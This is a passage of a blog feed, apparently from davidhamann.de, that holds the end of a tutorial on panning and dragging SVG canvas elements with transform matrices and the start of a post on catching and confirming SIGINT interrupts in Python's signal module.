&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;transformedPoint&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt; &lt;span class="o"&gt;*=&lt;/span&gt; &lt;span class="nx"&gt;elementTransform&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="c1"&gt;// scale x
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nx"&gt;transformedPoint&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;y&lt;/span&gt; &lt;span class="o"&gt;*=&lt;/span&gt; &lt;span class="nx"&gt;elementTransform&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="c1"&gt;// scale y
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;transformedPoint&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;y&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;transformedPoint&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;y&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I commented each step in the function above. Essentially, we create a point with our event coordinates, take the matrix used to convert from the element to the viewport, invert it (since we want the opposite) and then do a matrix transform of our point with said matrix. In case we are working with a transformed element (as is the case for our canvas panning, but not for object dragging) and are in a zoomed-in/out state, we also want to apply &lt;em&gt;that&lt;/em&gt; scale to our coordinate.&lt;/p&gt;
&lt;h2 id="actual-panning-and-ending"&gt;Actual panning and ending&lt;/h2&gt;
&lt;p&gt;To complete our basic example, let&amp;rsquo;s see how the &lt;code&gt;onPan&lt;/code&gt; and &lt;code&gt;onPanEnd&lt;/code&gt; functions could look like:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;onPan&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;clientX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;clientY&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;transformFromViewportToElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;clientX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;clientY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;canvas&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sctm&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;canvas&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;transform&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// calculate how much we have moved from the starting point
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;movement&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;canvas&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mouseStart&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;y&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;canvas&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mouseStart&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;y&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;y&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// set `tx` and `ty` (translate x, y) of matrix with the offset that
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="c1"&gt;// was set at the beginning of the movement minus the actual movement.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;startMatrix&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[...&lt;/span&gt;&lt;span class="nx"&gt;canvas&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;transform&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;startMatrix&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;startMatrix&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;movement&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;startMatrix&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;startMatrix&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;movement&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;y&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// update the actual transform attribute of the SVG `main` group
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;main&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;setAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;transform&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sb"&gt;`matrix(&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;startMatrix&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;, &amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;)`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;onPanEnd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;canvas&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;canvas-wrapper&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;removeEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;mousemove&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;onPan&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;canvas-wrapper&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;removeEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;mouseup&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;onPanEnd&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the &lt;code&gt;onPan&lt;/code&gt; function we get and transform the new event coordinates (where the mouse pointer is now) in the same way as we did before, then calculate the difference between start and current position, apply the difference to the original (at start of pan) transform matrix&amp;rsquo;s &lt;code&gt;tx&lt;/code&gt; and &lt;code&gt;ty&lt;/code&gt; (index 4 and 5), and finally set the &lt;code&gt;transform&lt;/code&gt; attribute of &lt;code&gt;main&lt;/code&gt; to the updated matrix.&lt;/p&gt;
&lt;div class="notice notice-danger"&gt;
 Note that we are changing the matrix of our &lt;code&gt;transform&lt;/code&gt; attribute of the &lt;em&gt;group&lt;/em&gt; here – this is not the matrix obtained by &lt;code&gt;getScreenCTM&lt;/code&gt;!
&lt;/div&gt;

&lt;p&gt;In &lt;code&gt;onPanEnd&lt;/code&gt; we simply reset our global &lt;code&gt;canvas&lt;/code&gt; variable and then remove the listeners.&lt;/p&gt;
&lt;h2 id="dragging-and-dropping-objects"&gt;Dragging and dropping objects&lt;/h2&gt;
&lt;p&gt;The dragging of objects could be implemented in the same way (using &lt;code&gt;transformFromViewportToElement&lt;/code&gt;). The only difference here is that we would modify the x and y coordinates (or rather &lt;code&gt;cx&lt;/code&gt; and &lt;code&gt;cy&lt;/code&gt;) directly (instead of a &lt;code&gt;transform&lt;/code&gt; attribute), and also ignore the current scale of the &lt;em&gt;group element&amp;rsquo;s&lt;/em&gt; transform matrix (set &lt;code&gt;elementTransform&lt;/code&gt; parameter of &lt;code&gt;transformFromViewportToElement&lt;/code&gt; to null).&lt;/p&gt;</description></item><item><title>Handling and confirming (interrupt) signals in Python</title><link>https://davidhamann.de/2022/09/29/handling-signals-in-python/</link><pubDate>Thu, 29 Sep 2022 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2022/09/29/handling-signals-in-python/</guid><description>&lt;p&gt;Let&amp;rsquo;s say you have a long-running Python script that should run uninterrupted or perform a graceful shutdown should a user decide to terminate it ahead of completion.&lt;/p&gt;
&lt;p&gt;By default, sending an interrupt (usually by pressing &lt;code&gt;&amp;lt;Control-C&amp;gt;&lt;/code&gt;) to a running Python program will raise a &lt;code&gt;KeyboardInterrupt&lt;/code&gt; exception.&lt;/p&gt;
&lt;p&gt;One way of (gracefully or not) handling interrupts is to catch this specific exception. For example like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;do_your_thing&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="ne"&gt;KeyboardInterrupt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;clean_up&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This generally works fine. However, you can still trigger another &lt;code&gt;KeyboardInterrupt&lt;/code&gt; while the &lt;code&gt;clean_up&lt;/code&gt; is running and thus interrupt the clean-up process. Also, as interrupts might be sent accidentally (ever cancelled the wrong script because you thought you were in a different pane?), it would be nice to let the user confirm that the script should indeed be interrupted.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s see how we can make a script that can deal with both of these situations.&lt;/p&gt;
&lt;h2 id="handling-signals-instead-of-keyboardinterrupt"&gt;Handling signals instead of &lt;code&gt;KeyboardInterrupt&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Instead of handling the &lt;code&gt;KeyboardInterrupt&lt;/code&gt; exception that Python gives you by default for an interrupt, you can also define your own own signal handlers. This will not only allow you to customize the behavior of an interrupt signal, but the behavior for any signal that can be caught (another good example is when your program is suspended, for example with &lt;code&gt;&amp;lt;Control-z&amp;gt;&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Python comes with a built-in &lt;code&gt;signal&lt;/code&gt; module that makes it easy to register your own handlers.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s see an example which you can acutally execute:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sys&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;time&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;signal&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;interrupt_handler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;signum&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;frame&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Handling signal &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;signum&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s1"&gt; (&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;signal&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Signals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;signum&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s1"&gt;).&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# do whatever...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;.&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;flush&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="vm"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;signal&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;signal&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SIGINT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;interrupt_handler&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;With &lt;code&gt;signal.signal&lt;/code&gt; we can set a new handler for a given signal. Here, we define that whenever a &lt;code&gt;SIGINT&lt;/code&gt; (interrupt, signal number 2) request comes in, we want to execute &lt;code&gt;interrupt_handler&lt;/code&gt;. Once set, we overwrite the default behavior and won&amp;rsquo;t get any &lt;code&gt;KeyboardInterrupt&lt;/code&gt;s anymore (although you could easily recreate the default behavior by setting the previous handler again, which is returned by &lt;code&gt;signal()&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Running the program and then sending an interrupt (&lt;code&gt;&amp;lt;Control-c&amp;gt;&lt;/code&gt;) will now look something like this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ python3 demo.py
.....^CHandling signal 2 (SIGINT).
$
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Since we introduced a little delay in the handler, you can see what happens when we press &lt;code&gt;&amp;lt;Control-c&amp;gt;&lt;/code&gt; again before the program exits.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ python3 demo.py
.......^CHandling signal 2 (SIGINT).
^CHandling signal 2 (SIGINT).
^CHandling signal 2 (SIGINT).
^CHandling signal 2 (SIGINT).
$
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The handler is called multiple times. Depending on what your function does, this may or may not be a problem. We&amp;rsquo;ll look at one way of trying to control this later on.&lt;/p&gt;
&lt;h2 id="let-the-user-confirm-the-interrupt"&gt;Let the user confirm the interrupt&lt;/h2&gt;
&lt;p&gt;Let&amp;rsquo;s say we want to implement the initially described behavior where a user must confirm an interrupt by sending another one.&lt;/p&gt;
&lt;p&gt;One way of accomplishing this is to set a different handler once the signal is handled the first time. Going back to the original code, we can add a parameter &lt;code&gt;ask&lt;/code&gt; to our handler and then call it first with &lt;code&gt;True&lt;/code&gt;, then with &lt;code&gt;False&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sys&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;time&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;signal&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;functools&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;partial&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
